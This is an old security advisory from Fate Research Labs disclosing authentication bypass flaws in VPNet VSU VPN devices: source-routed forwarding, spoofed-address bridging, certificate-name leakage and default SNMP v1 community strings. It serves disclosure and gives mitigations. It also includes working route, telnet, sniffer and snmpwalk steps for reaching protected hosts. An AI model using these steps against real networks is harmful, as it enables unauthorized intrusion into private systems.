|
|
Home : Advisories : Circumventing Authentication in ALL VPNet VPN Devices
| Title: |
Circumventing Authentication in ALL VPNet VPN Devices |
| Released by: |
Fate Research Labs |
| Date: |
5th December 2000 |
| Printable version: |
Click here |
-----------------.---------------------------------------------.
/| | . |
/ | : : : : : : |
| | :: ------ :: : :: | :: - |-----
| | :: : :: . : | | :: : |
| | : . |------| | : |
| | ------^ : | / | .
| ;----------"---------------^------ / ------'---------------------
| / / / /----' / /
|'----------'---------------'------' --------'---------------------'
www.f8labs.com
[ INTRODUCTION ]
Advisory .........: VPNet Technologies - Problems in all VSU VPN
Service Units
1. Source routing flaw in VSU allows for
unauthenticated connections to a target
host on protected LAN of VPN.
2. Flaw in NOS bridging code causes VSU to
pass spoofed private address packets from
it's public interface to the private network.
Release Date .....: 12-05-00
Application ......: VPN Service Units (VSU)
Vendor Web Site ..: www.vpnet.com (vpnet bad cow)
Versions Affected.: All VSUs
VSU-100
VSU-2000
VSU-5000
VSU-7500
And all versions of the VPNRemote Software < = 3.0.20
Vendor Status ....: Contacted / Patched NOS available for download
WWW ..............: www.fatelabs.com
[ OVERVIEW ]
VPNRemote Software
VPNremote is a Windows® compatible software product that
provides secure authenticated access to enterprise network
resources and applications over the Internet. As a building
block of the VPNware System, VPNremote enables enterprises
to leverage the global access and low cost of public networks
for their remote access users. Using standards-based IPSec
technology, VPNremote extends the integrity and
confidentiality of data traveling outside of enterprise
networks by providing encryption, compression, and authentication.
VPNwareT VPN Service Units (VSUs)
VSU's are dedicated, hardware-based VPN gateways that
enable secure data communications over public IP networks
such as the Internet. As a building block of the VPNware
System, VSUs provide standards-based IPSec services that
enable organizations to securely connect remote users,
branch offices, partners, and customers to enterprise networks.
VSUs provide unmatched levels of performance, manageability,
and security that allow organizations of all sizes to take
full advantage of the cost savings, productivity, and business
relationship-enhancing benefits of virtual private networks.
VSUs give you the confidence to run your business-critical
data and applications across public IP networks. How? By
delivering IPSec 3DES encryption, data integrity and
authentication, and key management. VSUs support a range
of two-factor user authentication methods -- RADIUS servers,
RSA SecurIDT tokens, SmartCards, and digital
certificates -- so you can be sure of who's accessing your VPN.
All VSUs offer additional robustness via resilient VPN
tunneling. VSUs continually sense endpoint availability
and automatically transition tunnels to a secondary VSU
in the event of a data link failure. The VSU-7500 offers
an additional level of fault tolerance by providing
high-availability hardware features such as redundant
Ethernet interfaces, IPSec processors, power supplies,
and cooling fans. The complete VSU series are delivered in
tamper-evident enclosures that meet the FIPS 140-1 Level
2 standard.
[ ADVISORY ]
PROBLEM 1a: Remote Attack
By sending SOURCE ROUTED packets to the target VSU,
it is possible to force the VSU to forward unauthorized
traffic from the public interface on the VSU to any
host on the protected network.
This is done WITHOUT exchanging keys, without providing a
username/pass, or any other authentication at all. It is
a design-flaw in the VSU NOS where the TCP stack accepts
and forwards SOURCE ROUTED packets.
In the beginning, we noticed that the VSU would forward
ICMP packets to its private NIC. We then wanted to see
if it would forward ICMP packets to a host on the
protected (priv) network. Our theory was correct.
Wanting to take this vulnerability further, we wanted to
see if it would also forward TCP packets to the target host
on the private network. Our theory again, was correct.
While demonstrating the exploit we wanted to put the VSU in
full blocking mode, which forces the VSU to drop all incoming
connections accept authorized VPN traffic. However, to our
surprise, we were still able to get both ICMP and TCP packets
to the remote target host behind the VSU. Wanting to see if
we could create actual telnet sessions with the remote host,
we used source routing and were amazed to find that it could
be done. The remote host was sending and routing packets back
to our machine while configured in full blocking mode.
Refer to Appendix B to review what was done to the target
machine, as well as packets we grabbed with a sniffer running
on the target host.
PROBLEM 1b: Local Attack
By adding an IP alias to the NIC card of the SOURCE HOST, an
IP belonging to the same segment of the private network on the
VSU, it is possible to bridge sessions THROUGH the VSU to a host
on the private network.
This attack is possible due to a flaw in the bridging code for
the VSU's NOS.
1. Add an IP alias to the NIC of the SOURCE HOST, e.g. 192.168.0.5
2. Add the necessary routes:
[root@moo /]# route add -net 192.168.0.0/16 gw 192.168.0.5
3. Check connectivity:
[root@moo /]# ping 192.168.0.3
PING 192.168.0.3 (192.168.0.3) from 192.168.0.5 : 56(84) bytes of data.
64 bytes from 192.168.0.3: icmp_seq=0 ttl=255 time=0.7 ms
64 bytes from 192.168.0.3: icmp_seq=1 ttl=255 time=0.6 ms
64 bytes from 192.168.0.3: icmp_seq=2 ttl=255 time=0.6 ms
--- 192.168.0.3 ping statistics ---
3 packets transmitted, 3 packets received, 0% packet loss
round-trip min/avg/max = 0.6/0.6/0.7 ms
/* Eww la la */
[root@moo /]#
PROBLEM 2:
VPNet has a VPN client called VPNRemote, which
uses SSL encryption to negotiate connections with the VSU.
However, the VSU responds back in clear text containing the VSU
Certificate name, as well as the company address and location.
This Certificate name is used prior to connecting to the VSU
and required before starting the authentication process. So this
of course is the missing key in being able to start a brute
force session against the VSU or even open a connection.
We have provided simple steps in receiving this for a further
attack on the VSU in APPENDIX A. See below.
PROBLEM 3:
Our team would like to place emphasis on the fact that VPNet
devices utilize SNMP v1. Since it's inception, problems in clear
text and numerous other problems associated with v1 have caused
its developers to create version2 and now 3. Because of the
inherent security problems with v1 of SNMP, it is advised that
administrators disable it where possible until VPNet upgrades
it's NOS to support v2 or 3. See APPENDIX C for SNMP packet traces.
By brute forcing the community string on the VSU's
(default set to PUBLIC), it is possible to utilize the read-only
information from SNMP to retrieve the private IP network information
of the target VSU. This is the preliminary information needed
in the source-routed attack on the vsu. Such SNMP information
will provide IP information of the protected segment in the VPN.
[ CONCLUSION ]
SOURCE ROUTE ISSUES: VPNet has responded to the source-routed
sessions issue and has created a patch for the NOS. However,
VPNet does not wish to have this patch available to the public
domain, rather, built into the next release of 3.X. Fate
Research Labs is astonished by VPNet's response and recommend
that users take an immediate course of action to protect their
networks against this attack. We suggest proper network topology
design through the use of a Firewall as well as ensuring that
the DMZ is configured as a leg off the Firewall so that the local
exploit above can not be performed. Verify proper firewall rules
and ensure that the firewall denies off all incoming connections
accept that of required by the IKE negotiations and VPN
traffic to the VSU.
Source code has been created by Fate Research for use in a remote
attack outside of a lab environment, however, due to the severity
of this attack we have published a broken version of the program,
which can be found at http://www.fatelabs.com for proof of concept.
However, we recommend demonstrating this attack through the local
attack outlined above, (a lot less headache).
BRIDGING MODE ISSUES: VPNet has been notified of these bridging
issues. It is an inherent design flaw in their NOS that bridges
over incoming packets containing a SOURCE IP of the VSU's private network.
No patch or resolution has been made or identified as of this writing.
VPNet has also been made aware of the other issues surrounding
this advisory. They have patched them in their next NOS release.
Fate Research Labs has tested their patch against our attack and
it proves to be a successful fix. We do however recommend
that users contact their local VPNet office and complain about
their ridiculous notion to not make this patch readily available
to its customers. The VPNet web site is listed in the Resources section
of this advisory.
[ APPENDIX ]
APPENDIX A:
Go ahead and install the windows-based VPN client that VPNet
provides. Setup a new profile and put in any text you wish for
all of the required fields. After this you will want to put in
the IP address of the target VSU.
Go ahead and attempt your connection with a sniffer running in the
background. You should receive something similar to the following.
---------------------------- snip ---------------------------------
No: 9
MAC source address: 18:43:11:270
MAC dest address: 00 D0 06 B7 DC 54
Frame: 00 00 21 EC 69 B0
Protocol: IP
Source IP address: TCP
Dest IP address: XXX.XXX.XXX.XXX
Source port: XXx.XXX.XXX.XXX
Destination port: 1443
SEQ: 3511
ACK: 2092418050
Packet size: 82361859
Packet data:
0000: 00 00 21 EC 69 B0 00 D0 06 B7 DC 54 08 00 45 00 ..!.i......T..E.
0010: 02 28 24 C1 00 00 32 06 66 95 40 A2 81 0B 18 E5 .($...2.f.@.....
0020: 20 E8 05 A3 0D B7 7C B7 C4 02 04 E8 BE 03 50 10 .....|.......P.
0030: 10 00 2B C2 00 00 16 03 00 00 4A 02 00 00 46 03 ..+.......J...F.
0040: 00 3A 01 99 8B 4D BA FC DD 02 CE BA 30 04 8D 9B .:...M......0...
0050: F7 2E 5F F8 32 06 01 B3 D6 E0 03 79 F5 20 07 B9 .._.2......y. ..
0060: E0 20 ED 8A A7 46 96 88 D4 EC D1 44 0E 00 92 10 . ...F.....D....
0070: 9B DA 94 F1 7C 65 36 B3 E0 C0 8E 9D 93 BB 41 6D ....|e6.......Am
0080: 33 B9 00 04 00 16 03 00 02 48 0B 00 02 44 00 02 3........H...D..
0090: 41 00 02 3E 30 82 02 3A 30 82 01 A3 02 02 20 61 A..>0..:0..... a
00A0: 30 0D 06 09 2A 86 48 86 F7 0D 01 01 04 05 00 30 0...*.H........0
00B0: 67 31 0B 30 09 06 03 55 04 06 13 02 55 53 31 0B g1.0...U....US1.
00C0: 30 09 06 03 55 04 08 13 02 43 41 31 11 30 0F 06 0...U....CA1.0..
00D0: 03 55 04 07 13 08 53 61 6E 20 4A 6F 73 65 31 21 .U....San Jose1!
00E0: 30 1F 06 03 55 04 0A 13 18 56 50 4E 65 74 20 54 0...U....VPNet T
00F0: 65 63 68 6E 6F 6C 6F 67 69 65 73 2C 20 49 6E 63 echnologies, Inc
0100: 2E 31 15 30 13 06 03 55 04 03 14 0C 56 50 4E 65 .1.0...U....VPNe
0110: 74 43 41 5F 37 5F 39 38 30 1E 17 0D 39 39 31 30 tCA_7_980...9910
0120: 32 32 30 33 33 31 33 33 5A 17 0D 30 39 31 30 31 22033133Z..09101
0130: 39 30 33 33 31 33 33 5A 30 63 31 0B 30 09 06 03 9033133Z0c1.0...
0140: 55 04 06 13 02 55 53 31 0B 30 09 06 03 55 04 08 U....US1.0...U..
0150: 13 02 43 41 31 11 30 0F 06 03 55 04 07 13 08 53 ..CA1.0...U....S
0160: 61 6E 20 4A 6F 73 65 31 21 30 1F 06 03 55 04 0A an Jose1!0...U..
0170: 13 18 56 50 4E 65 74 20 54 65 63 68 6E 6F 6C 6F ..VPNet Technolo
0180: 67 69 65 73 2C 20 49 6E 63 2E 31 11 30 0F 06 03 gies, Inc.1.0...
0190: 55 04 03 13 08 56 53 55 31 30 37 38 37 30 81 9F U....VSU107870..
/* <--- /* Here we have the valid certificate name */ ------ ^^^^^^^^^
01A0: 30 0D 06 09 2A 86 48 86 F7 0D 01 01 01 05 00 03 0...*.H.........
01B0: 81 8D 00 30 81 89 02 81 81 00 EA 90 9D A9 04 17 ...0............
01C0: 81 F7 21 39 7A 1C 68 9B 14 D4 74 E4 79 89 B8 B1 ..!9z.h...t.y...
01D0: ED 0E 1C 4D 30 06 AC 5F 9B F0 43 FE 75 9B 6D B2 ...M0.._..C.u.m.
01E0: 69 80 9B 20 3E 0D D4 EE 4A FC 01 D5 45 66 04 80 i.. >...J...Ef..
01F0: 91 E3 7A CD A2 75 81 DD ED CF A7 D2 EF 49 DE D7 ..z..u.......I..
0200: 09 6A 32 1B 9A 33 36 FE 14 83 8E EA 10 A6 0B 54 .j2..36........T
0210: 01 33 71 7D 9C C2 E1 9E B4 CC 50 94 E9 B0 F3 E1 .3q}......P.....
0220: 87 46 78 73 5B 4E 5E 60 CC 01 C8 C1 02 95 4D 1A .Fxs[N^`......M.
0230: 98 6E 81 FF A4 04 .n....
---------------------------- snap ---------------------------------
APPENDIX B:
The below diagram was performed in a lab setup. There was no Internet
connectivity in the scenario. The exploit however has been successfully
performed across the Internet using SOURCE ROUTED sessions.
---- 192.168.1.1 192.168.1.2/192.168.2.1 192.168.2.2 ----
| \/ | ------ | \/ |
| /\ | ------------------> | | ----------------------------> | /\ |
---- ------ ----
ROUTER A VSU ROUTER B
# telnet 192.16.8.2.2 /route: 192.168.1.2
# On a Windows Box:
1. Added IP alias to NIC Card, 192.168.2.3
2. Added a route:
C:\> route add 192.168.2.0 MASK 255.255.255.0 192.168.1.2
^ priv nic net ^ class C ^ pub nic of vsu
3. C:\>ping 192.168.2.2
Pinging 192.168.2.2 with 32 bytes of data:
Reply from 192.168.2.2: bytes=32 time<10ms TTL=255
Reply from 192.168.2.2: bytes=32 time<10ms TTL=255
Reply from 192.168.2.2: bytes=32 time<10ms TTL=255
Reply from 192.168.2.2: bytes=32 time<10ms TTL=255
Ping statistics for 192.168.2.2:
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 0ms, Maximum = 0ms, Average = 0ms
4. C:\> telnet 192.168.2.2
Red Hat Linux release 6.2 (Zoot)
Kernel 2.2.14-5.0 on an i586
login:
---------------------------- snip ---------------------------------
APPENDIX C:
loki.f8labs.com > ./snmpwalk -c public -d
/* The -c 'public' is a switch used to specify the SNMP community string */
Received 59 bytes from XXX.XXX.XXX.XXX:161
0000: 30 82 00 37 02 01 00 04 07 62 6C 75 65 73 6B 79 0..7.....public
0016: A2 82 00 27 02 04 06 8E 2B 8E 02 01 00 02 01 00 ¢..'....+.......
0032: 30 82 00 17 30 82 00 13 06 0E 2B 06 01 02 01 07 0...0.....+.....
0048: 05 01 02 00 00 00 00 00 02 01 00 ...........
udp.udpTable.udpEntry.udpLocalPort.0.0.0.0.0 = 0
/* Here you will see we received it back in clear text from the VSU-moo. */
Received 200 bytes from 64.162.129.11:161
0000: 30 82 00 C4 02 01 00 04 07 62 6C 75 65 73 6B 79 0..Ä.....public
0016: A2 82 00 B4 02 04 65 BD 3B 82 02 01 00 02 01 00 ¢..´..e½;.......
0032: 30 82 00 A4 30 82 00 A0 06 08 2B 06 01 02 01 01 0..¤0.....+.....
0048: 01 00 04 81 93 56 50 4E 65 74 20 53 65 72 76 69 .....VPNet Servi
0064: 63 65 20 55 6E 69 74 20 4D 6F 64 65 6C 20 30 30 ce Unit Model 00
0080: 31 30 28 41 64 76 61 6E 63 65 64 29 20 33 44 45 10(Advanced) 3DE
0096: 53 20 45 4E 43 52 59 50 54 49 4F 4E 20 20 28 53 S ENCRYPTION (S
0112: 74 61 6E 64 61 72 64 29 2C 20 52 75 6E 74 69 6D tandard), Runtim
0128: 65 20 73 79 73 74 65 6D 20 76 65 72 73 69 6F 6E e system version
0144: 20 33 2E 30 2E 35 30 20 31 30 2F 35 2F 32 30 30 3.0.50 10/5/200
0160: 30 20 2C 20 52 75 6E 74 69 6D 65 20 6C 6F 61 64 0 , Runtime load
0176: 65 72 20 76 65 72 73 69 6F 6E 20 32 2E 30 61 20 er version 2.0a
0192: 33 2F 37 2F 32 30 30 30 3/7/2000
---------------------------- snap ---------------------------------
[ RESOURCES ]
ucd-snmp
http://net-snmp.sourceforge.net
VPNet Technologies
http://www.vpnet.com
Fate Research Labs
http://www.fatelabs.com
================================================================
Fate Research Labs
loki@fatelabs.com
http://www.fatelabs.com
----------------------------------------------------------------
"Blessed are the meek, for they shall inherit the earth.
- Psalms 37:11
----------------------------------------------------------------
BEGIN PGP SIGNATURE
iQA/AwUBOfZvfGnwBJRV5bxfEQJu7gCfQ/T0O9u75nzRGWVSeurNmnFRVr8Anj0c
M+UXhPDBvsm+ffRpv41zevQN
=3IRx
================================================================
|
